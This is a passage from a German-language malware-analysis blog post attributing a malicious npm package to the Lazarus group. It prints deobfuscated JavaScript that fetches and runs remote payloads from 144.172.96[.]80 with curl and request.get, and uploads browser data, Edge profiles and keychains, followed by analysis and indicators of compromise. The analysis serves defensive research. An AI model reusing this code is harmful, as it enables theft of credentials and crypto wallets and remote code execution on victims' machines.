  return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);
}
let It = 0;
const extractFile = async _0x169ea8 => {
  ex("tar -xf " + _0x169ea8 + " -C " + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) => {
    if (_0x5137bb) {
      fs.rmSync(_0x169ea8);
      return void (It = 0);
    }
    fs.rmSync(_0x169ea8);
    Xt();
  });
};
const runP = () => {
  const _0x63e597 = tmpDir + "\\p.zi";
  const _0x37a8dc = tmpDir + "\\p2.zip";
  if (It >= 51476596) {
    return;
  }
  if (fs.existsSync(_0x63e597)) {
    try {
      var _0x2d691c = fs.statSync(_0x63e597);
      if (_0x2d691c.size >= 51476596) {
        It = _0x2d691c.size;
        fs.rename(_0x63e597, _0x37a8dc, _0x34791b => {
          if (_0x34791b) {
            throw _0x34791b;
          }
          extractFile(_0x37a8dc);
        });
      } else {
        if (It < _0x2d691c.size) {
          It = _0x2d691c.size;
        } else {
          fs.rmSync(_0x63e597);
          It = 0;
        }
        Ht();
      }
    } catch (_0xf9efb1) {}
  } else {
    ex("curl -Lo \"" + _0x63e597 + "\" \"" + "http://144.172.96[.]80:1224/pdown" + "\"", (_0x33551d, _0x26a269, _0x1f4359) => {
      if (_0x33551d) {
        It = 0;
        return void Ht();
      }
      try {
        It = 51476596;
        fs.renameSync(_0x63e597, _0x37a8dc);
        extractFile(_0x37a8dc);
      } catch (_0x177129) {}
    });
  }
};
function Ht() {
  setTimeout(() => {
    runP();
  }, 20000);
}
const Xt = async () => await new Promise((_0x18b6b4, _0x438ac4) => {
  if ('w' == platform[0]) {
    if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
      (() => {
        const _0x2f7a17 = homeDir + "/.npl";
        const _0x37e74f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2f7a17 + "\"";
        try {
          fs.rmSync(_0x2f7a17);
        } catch (_0x3bd9ea) {}
        request.get("http://144.172.96[.]80:1224/client/106/106", (_0x9dd16b, _0x3ea1c7, _0x3de797) => {
          if (!_0x9dd16b) {
            try {
              fs.writeFileSync(_0x2f7a17, _0x3de797);
              ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) => {});
            } catch (_0x527428) {}
          }
        });
      })();
    } else {
      runP();
    }
  } else {
    (() => {
      request.get("http://144.172.96[.]80:1224/client/106/106", (_0x20405e, _0x32be8c, _0x1add23) => {
        if (!_0x20405e) {
          fs.writeFileSync(homeDir + "/.npl", _0x1add23);
          ex("python3 \"" + homeDir + "/.npl\"", (_0x7f426f, _0x3db0b7, _0x1160de) => {});
        }
      });
    })();
  }
});
var M = 0;
const main = async () => {
  try {
    const _0x153de8 = Math.round(new Date().getTime() / 1000);
    await (async () => {
      try {
        await UpAppData(Q, 0, _0x153de8);
        await UpAppData(R, 1, _0x153de8);
        await UpAppData(X, 2, _0x153de8);
        uploadMozilla(_0x153de8);
        uploadEs(_0x153de8);
        if ('w' == platform[0]) {
          await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x153de8);
        }
        if ('d' == platform[0]) {
          await UpKeychain(_0x153de8);
        } else {
          await UpUserData(Q, 0, _0x153de8);
          await UpUserData(R, 1, _0x153de8);
          await UpUserData(X, 2, _0x153de8);
        }
      } catch (_0x324883) {}
    })();
    Xt();
  } catch (_0x2eb6a7) {}
};
main();
Xt();
let Ct = setInterval(() => {
  if ((M += 1) < 2) {
    main();
  } else {
    clearInterval(Ct);
  }
}, 30000);


Hier konnten wir die hinterhältigen Aktivitäten der Angreifer erkennen. In diesem Fall handelt es sich um ein sehr klassisches Playbook. Genau die gleiche Art von Nutzlast haben wir schon bei vielen Angriffen gesehen, zum Beispiel beim UA-Pajser-Exploit. 

  • Krypto-Geldbörsen stehlen.
  • Stehlen von Browser-Caches.
  • Diebstahl von Schlüsselanhängern.
  • Herunterladen und Ausführen zusätzlicher Payloads.

Aber Klassiker sind nicht ohne Grund klassisch, sie funktionieren in der Regel und sind der schnellste/einfachste Weg, um von einem Supply-Chain-Angriff zu profitieren und gleichzeitig die Möglichkeit zu erhalten, sich seitlich zu bewegen und den Angriff in verschiedenen Umgebungen fortzusetzen. 

Diese Nutzlast ist uns nicht unbekannt, wir erkannten sie sofort als von der staatlich geförderten nordkoreanischen Hackergruppe Lazarus stammend. Eine der raffiniertesten Hackergruppen der Welt, die kürzlich 1,5 Milliarden Dollar Ethereum von der Kryptobörse ByBit gestohlen hat (anscheinend ist das nicht genug). 

Halten Sie Malware von Ihren Anwendungen fern!

Aikido hat gerade seinen Malware Detection Threat Feed gestartet, der öffentliche Registrierungen wie NPMjs überwacht und eine Kombination aus traditionellen Scannern und trainierten KI-Modellen verwendet, um zu erkennen, wann bösartige Pakete eingeführt wurden oder ehemals gutartige Pakete bösartig wurden. Sie können bösartige Pakete wie dieses in unserem öffentlichen Malware Threat Feed unter intel.aikido.dev einsehen .

Die wichtigsten Erkenntnisse

Abgesehen von der Tatsache, dass selbst nationale Bedrohungsakteure dumme Fehler machen, lassen sich daraus mehrere interessante Schlüsse ziehen. Die wichtigste ist, dass der Versuch, sich zu verstecken, immer auffällt.

Normalerweise hat Lazarus seinen Code mit gängigen Obfuskationswerkzeugen verschleiert (obfuscation). Sie können jedoch leicht deobfuscated werden, und das Vorhandensein von Obfuscation allein wird eine eingehendere Analyse und Prüfung des Pakets auslösen.

Der Versuch, die bösartige Nutzlast vor den Augen der Menschen zu "verstecken", wie sie es getan haben, ist clever. Aber dadurch führen sie auch mehr Signale ein. Denn große Mengen an Leerraum wie diese sind nicht normal. Der Versuch, sich zu verstecken, erzeugt immer mehr Signale, die wir für die Erkennung nutzen können.

Deshalb haben sie versucht, den Großteil der Nutzdaten auf einen entfernten Server zu verlagern, der zur Laufzeit abgerufen wird. Der Vorgang des Abrufs von einem Server führt jedoch auch zu mehr Erkennungssignalen. 

Alles Dinge, die mit Hilfe unserer breit gefächerten Kombination von Erkennungstechniken, mit denen wir unsere KI-Erkennungssysteme trainieren, trivialerweise erkannt werden können. Je mehr sie versuchen, sich zu verstecken, desto eher werden sie entdeckt. 

Sehen Sie sich das Video an
‍

‍

Indikatoren der Lazarus-Gruppe

Wir sind in der Lage, diese Malware der Lazarus-Gruppe zuzuordnen, und zwar aufgrund mehrerer Fingerabdrücke in der Nutzlast sowie einiger zusätzlicher Indikatoren (siehe unten).

IPs

  • 144.172.96[.]80

URLs

  • hxxp://144.172.96[.]80:1224/client/106/106
  • hxxp://144.172.96[.]80:1224/uploads 
  • hxxp://144.172.96[.]80:1224/pdown
  • https://ipcheck-production.up.railway[.]app/106

npm-Konten

  • pdec212

Github-Konten

  • pdec9690

Geschrieben von Charlie Eriksen

Malware-Forscher

Teilen:

https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers

Das Inhaltsverzeichnis:
Text Link
Teilen:
Tastatur verwenden
Verwenden Sie die linke Taste, um auf dem Aikido-Schieberegler vorwärts zu navigieren.
Verwenden Sie die rechte Pfeiltaste, um zur nächsten Folie zu navigieren.
um durch die Artikel zu navigieren
Unter
Charlie Eriksen

Sie sind eingeladen: Die Verbreitung von Malware über Google Kalender-Einladungen und PUAs

Malware
Mai 13, 2025
Mehr lesen
Unter
Mackenzie Jackson

Warum die Aktualisierung von Container-Basisabbildern so schwierig ist (und wie man es einfacher machen kann)

Technik
Mai 12, 2025
Mehr lesen
Unter
Charlie Eriksen

RATatouille: Ein bösartiges Rezept versteckt in rand-user-agent (Kompromittierung der Lieferkette)

6. Mai 2025
Mehr lesen
Unter
Charlie Eriksen

Angriff auf die XRP-Lieferkette: Offizielles NPM-Paket mit Backdoor zum Krypto-Diebstahl infiziert

Malware
April 22, 2025
Mehr lesen
Unter
Charlie Eriksen

Der Malware-Leitfaden: Die Arten von Malware auf NPM verstehen

Malware
April 10, 2025
Mehr lesen
Unter
Charlie Eriksen

Verstecken und scheitern: Verschleierte Malware, leere Nutzlasten und npm-Schwindel

Malware
April 3, 2025
Mehr lesen
Unter
Madeline Lawrence

Start der Aikido-Malware - Open Source Threat Feed

Nachrichten
31. März 2025
Mehr lesen
Unter
Das Aikido-Team

Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025

Leitfäden
März 27, 2025
Mehr lesen
Unter
Madeline Lawrence

Holen Sie sich das TL;DR: tj-actions/changed-files Supply Chain Attack

Nachrichten
März 16, 2025
Mehr lesen
Unter
Mackenzie Jackson

Eine unverbindliche Docker-Sicherheits-Checkliste für Entwickler, die auf Sicherheitslücken achten

Leitfäden
März 6, 2025
Mehr lesen
Unter
Mackenzie Jackson

Erkennen und Blockieren von JavaScript-SQL-Injection-Angriffen

Leitfäden
März 4, 2025
Mehr lesen
Unter
Floris Van den Abeele

Prisma und PostgreSQL anfällig für NoSQL-Injection? Ein überraschendes Sicherheitsrisiko erklärt

Technik
Februar 14, 2025
Mehr lesen
Unter
Das Aikido-Team

Die wichtigsten Tools für dynamische Anwendungssicherheitstests (DAST) im Jahr 2025

Leitfäden
Februar 12, 2025
Mehr lesen
Unter
Willem Delbare

Start von Opengrep | Warum wir Semgrep abgezweigt haben

Nachrichten
Januar 24, 2025
Mehr lesen
Unter
Thomas Segura

Ihr Client benötigt ein NIS2-Schwachstellen-Patching. Was nun?

Januar 14, 2025
Mehr lesen
Unter
Mackenzie Jackson

Die 10 wichtigsten KI-gestützten SAST-Tools im Jahr 2025

Leitfäden
Januar 10, 2025
Mehr lesen
Unter
Madeline Lawrence

Snyk vs Aikido Security | G2 Bewertungen Snyk Alternative

Leitfäden
Januar 10, 2025
Mehr lesen
Unter
Mackenzie Jackson

Die 10 wichtigsten Werkzeuge für die Softwarezusammensetzungsanalyse (SCA) im Jahr 2025

Leitfäden
Januar 9, 2025
Mehr lesen
Unter
Michiel Denis

3 wichtige Schritte zur Stärkung von Compliance und Risikomanagement

27. Dezember 2024
Mehr lesen
Unter
Mackenzie Jackson

Der Open-Source-Leitfaden des Startups für Anwendungssicherheit

Leitfäden
23. Dezember 2024
Mehr lesen
Unter
Madeline Lawrence

Start von Aikido für Cursor AI

Technik
13. Dezember 2024
Mehr lesen
Unter
Mackenzie Jackson

Treffen Sie Intel: Aikidos Open-Source-Bedrohungs-Feed, der von LLMs unterstützt wird.

Technik
13. Dezember 2024
Mehr lesen
Unter
Johan De Keulenaer

Aikido tritt dem AWS-Partnernetzwerk bei

Nachrichten
26. November 2024
Mehr lesen
Unter
Mackenzie Jackson

Befehlsinjektion im Jahr 2024 ausgepackt

Technik
November 24, 2024
Mehr lesen
Unter
Mackenzie Jackson

Path Traversal im Jahr 2024 - Das Jahr ausgepackt

Technik
23. November 2024
Mehr lesen
Unter
Mackenzie Jackson

Ausgewogene Sicherheit: Wann sollten Open-Source-Tools und wann kommerzielle Tools eingesetzt werden?

Leitfäden
15. November 2024
Mehr lesen
Unter
Mackenzie Jackson

Der Stand der SQL-Injektion

Leitfäden
8. November 2024
Mehr lesen
Unter
Michiel Denis

Visma's Sicherheitsgewinn mit Aikido: Ein Gespräch mit Nikolai Brogaard

Nachrichten
6. November 2024
Mehr lesen
Unter
Michiel Denis

Sicherheit im FinTech: Frage und Antwort mit Dan Kindler, Mitbegründer und CTO von Bound

Nachrichten
10. Oktober 2024
Mehr lesen
Unter
Felix Garriau

Die 7 wichtigsten ASPM-Werkzeuge im Jahr 2025

Leitfäden
1. Oktober 2024
Mehr lesen
Unter
Madeline Lawrence

Automatisieren Sie die Einhaltung von Vorschriften mit SprintoGRC x Aikido

Nachrichten
11. September 2024
Mehr lesen
Unter
Felix Garriau

Wie man eine SBOM für Software-Audits erstellt

Leitfäden
9. September 2024
Mehr lesen
Unter
Madeline Lawrence

SAST gegen DAST: Was Sie wissen müssen.

Leitfäden
2. September 2024
Mehr lesen
Unter
Felix Garriau

Die besten SBOM-Tools für Entwickler: Unsere 2025 Auswahlen

Leitfäden
7. August 2024
Mehr lesen
Unter
Lieven Oosterlinck

5 Snyk-Alternativen und warum sie besser sind

Nachrichten
5. August 2024
Mehr lesen
Unter
Madeline Lawrence

Warum wir so begeistert sind, mit Laravel zusammenzuarbeiten

Nachrichten
8. Juli 2024
Mehr lesen
Unter
Felix Garriau

110.000 Standorte vom Polyfill-Angriff auf die Lieferkette betroffen

Nachrichten
27. Juni 2024
Mehr lesen
Unter
Felix Garriau

Cybersecurity Essentials für LegalTech-Unternehmen

Nachrichten
25. Juni 2024
Mehr lesen
Unter
Roeland Delrue

Drata Integration - Wie man das technische Schwachstellenmanagement automatisiert

Leitfäden
18. Juni 2024
Mehr lesen
Unter
Joel Hans

DIY-Anleitung: Bauen oder kaufen Sie Ihr OSS-Toolkit für Code-Scanning und App-Sicherheit

Leitfäden
11. Juni 2024
Mehr lesen
Unter
Roeland Delrue

SOC 2-Zertifizierung: 5 Dinge, die wir gelernt haben

Leitfäden
4. Juni 2024
Mehr lesen
Unter
Joel Hans

Die 10 größten App-Sicherheitsprobleme und wie Sie sich schützen können

Leitfäden
28. Mai 2024
Mehr lesen
Unter
Madeline Lawrence

Wir haben gerade unsere Serie A mit 17 Millionen Dollar aufgestockt.

Nachrichten
2. Mai 2024
Mehr lesen
Unter

Die besten RASP-Tools für Entwickler im Jahr 2025

April 10, 2024
Mehr lesen
Unter
Willem Delbare

Webhook-Sicherheits-Checkliste: Wie man sichere Webhooks erstellt

Leitfäden
4. April 2024
Mehr lesen
Unter
Willem Delbare

Das Heilmittel für das Müdigkeitssyndrom bei Sicherheitswarnungen

Technik
21. Februar 2024
Mehr lesen
Unter
Roeland Delrue

NIS2: Wer ist betroffen?

Leitfäden
16. Januar 2024
Mehr lesen
Unter
Roeland Delrue

ISO 27001-Zertifizierung: 8 Dinge, die wir gelernt haben

Leitfäden
5. Dezember 2023
Mehr lesen
Unter
Roeland Delrue

Cronos Group entscheidet sich für Aikido Security, um die Sicherheit für ihre Unternehmen und Kunden zu verbessern

Nachrichten
30. November 2023
Mehr lesen
Unter
Bart Jonckheere

Wie Loctax Aikido Security einsetzt, um irrelevante Sicherheitswarnungen und Fehlalarme loszuwerden

Nachrichten
22. November 2023
Mehr lesen
Unter
Felix Garriau

Aikido Security sammelt 5 Millionen Euro ein, um eine nahtlose Sicherheitslösung für wachsende SaaS-Unternehmen anzubieten

Nachrichten
9. November 2023
Mehr lesen
Unter
Roeland Delrue

Aikido Security erreicht die ISO 27001:2022-Konformität

Nachrichten
8. November 2023
Mehr lesen
Unter
Felix Garriau

Wie der CTO von StoryChief Aikido Security nutzt, um nachts besser zu schlafen

Nachrichten
Oktober 24, 2023
Mehr lesen
Unter
Willem Delbare

Was ist ein CVE?

Leitfäden
Oktober 17, 2023
Mehr lesen
Unter
Felix Garriau

Die besten Tools zur Erkennung des Lebensendes: Rangliste 2025

Leitfäden
4. Oktober 2023
Mehr lesen
Unter
Willem Delbare

Die 3 größten Sicherheitslücken bei Webanwendungen im Jahr 2024

Technik
27. September 2023
Mehr lesen
Unter
Felix Garriau

Neue Aikido-Sicherheitsfunktionen: August 2023

Nachrichten
22. August 2023
Mehr lesen
Unter
Felix Garriau

Aikidos SaaS CTO-Sicherheitscheckliste 2025

Nachrichten
10. August 2023
Mehr lesen
Unter
Felix Garriau

Aikidos 2024 SaaS CTO Sicherheits-Checkliste

Nachrichten
10. August 2023
Mehr lesen
Unter
Felix Garriau

Die 15 größten Herausforderungen für Cloud- und Codesicherheit, die von CTOs aufgedeckt wurden

Technik
25. Juli 2023
Mehr lesen
Unter
Willem Delbare

Was ist die OWASP Top 10?

Leitfäden
12. Juli 2023
Mehr lesen
Unter
Willem Delbare

Wie Sie ein sicheres Administrationspanel für Ihre SaaS-Anwendung erstellen

Leitfäden
11. Juli 2023
Mehr lesen
Unter
Roeland Delrue

Wie Sie sich auf ISO 27001:2022 vorbereiten können

Leitfäden
5. Juli 2023
Mehr lesen
Unter
Willem Delbare

Verhinderung der Auswirkungen eines Hacks auf Ihre CI/CD-Plattform

Leitfäden
19. Juni 2023
Mehr lesen
Unter
Felix Garriau

Schnellerer Geschäftsabschluss mit einem Bericht zur Sicherheitsbewertung

Nachrichten
12. Juni 2023
Mehr lesen
Unter
Willem Delbare

Automatisiertes technisches Schwachstellenmanagement [SOC 2]

Leitfäden
5. Juni 2023
Mehr lesen
Unter
Willem Delbare

Verhinderung der Verschmutzung durch Prototypen in Ihrem Repository

Leitfäden
1. Juni 2023
Mehr lesen
Unter
Willem Delbare

Wie kann ein CTO eines SaaS-Startups ein Gleichgewicht zwischen Entwicklungsgeschwindigkeit und Sicherheit herstellen?

Leitfäden
16. Mai 2023
Mehr lesen
Unter
Willem Delbare

Wie die Cloud eines Startups durch ein einfaches Formular zum Versenden von E-Mails übernommen wurde

Technik
April 10, 2023
Mehr lesen
Unter
Felix Garriau

Aikido Security sammelt 2 Millionen Euro in einer Pre-Seed-Runde für den Aufbau einer Software-Sicherheitsplattform für Entwickler

Nachrichten
19. Januar 2023
Mehr lesen
Unter

Warum Lockfiles für die Sicherheit der Lieferkette wichtig sind

Mehr lesen
Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025
Unter
Das Aikido-Team

Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025

Leitfäden
Mai 14, 2025
Die wichtigsten Tools für dynamische Anwendungssicherheitstests (DAST) im Jahr 2025
Unter
Das Aikido-Team

Die wichtigsten Tools für dynamische Anwendungssicherheitstests (DAST) im Jahr 2025

Leitfäden
Mai 14, 2025
Angriff auf die XRP-Lieferkette: Offizielles NPM-Paket mit Backdoor zum Krypto-Diebstahl infiziert
Unter
Charlie Eriksen

Angriff auf die XRP-Lieferkette: Offizielles NPM-Paket mit Backdoor zum Krypto-Diebstahl infiziert

Malware
31. März 2025

Sicher werden in 32 Sekunden

Verbinden Sie Ihr GitHub-, GitLab-, Bitbucket- oder Azure DevOps-Konto, um Ihre Repos kostenlos zu scannen.

Kostenloser Start
Ihre Daten werden nicht weitergegeben - Nur-Lese-Zugriff
Aikido Armaturenbrett
Unternehmen
ProduktPreiseÜberKarriereKontaktPartner mit uns
Ressourcen
DokumenteÖffentliche API-DokumenteSchwachstellen-DatenbankBlogIntegrationenGlossarPressemappeKundenrezensionen
Sicherheit
Trust CenterÜberblick über die SicherheitCookie-Einstellungen ändern
Rechtliches
DatenschutzbestimmungenCookie-RichtlinieNutzungsbedingungenRahmen-AbonnementvertragVereinbarung zur Datenverarbeitung
Anwendungsfälle
Einhaltung der VorschriftenSAST &AMP; DASTASPMSchwachstellen-ManagementSBOMs generierenWordPress SicherheitSichern Sie Ihren CodeAikido für Microsoft
Branchen
Für HealthTechFür MedTechFür FinTechFür SecurityTechFür LegalTechFür HRTechFür AgenturenFür UnternehmenFür PE & Konzerngesellschaften
Vergleichen Sie
gegenüber allen Anbieterngegen Snykgegen Wizgegen Flickwerkvs. Orca Sicherheitgegen Veracodevs GitHub Erweiterte Sicherheitgegenüber GitLab Ultimategegen Checkmarxgegen Semgrepgegen SonarQube
Verbinden Sie
hello@aikido.dev
LinkedInX
Abonnieren
Bleiben Sie auf dem Laufenden mit allen Updates
Das ist noch nicht alles.
👋🏻 Vielen Dank! Sie wurden abonniert.
Team Aikido
Das ist noch nicht alles.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Adresse im Handelsregister: Coupure Rechts 88, 9000, Ghent, Belgien
🇪🇺 Hauptstandort: Gebroeders van Eyckstraat 2, 9000, Gent, Belgien
🇺🇸 Geschäftsadresse: 95 Third St, 2nd Fl, San Francisco, CA 94103, USA
SOC 2
Konform
ISO 27001
Konform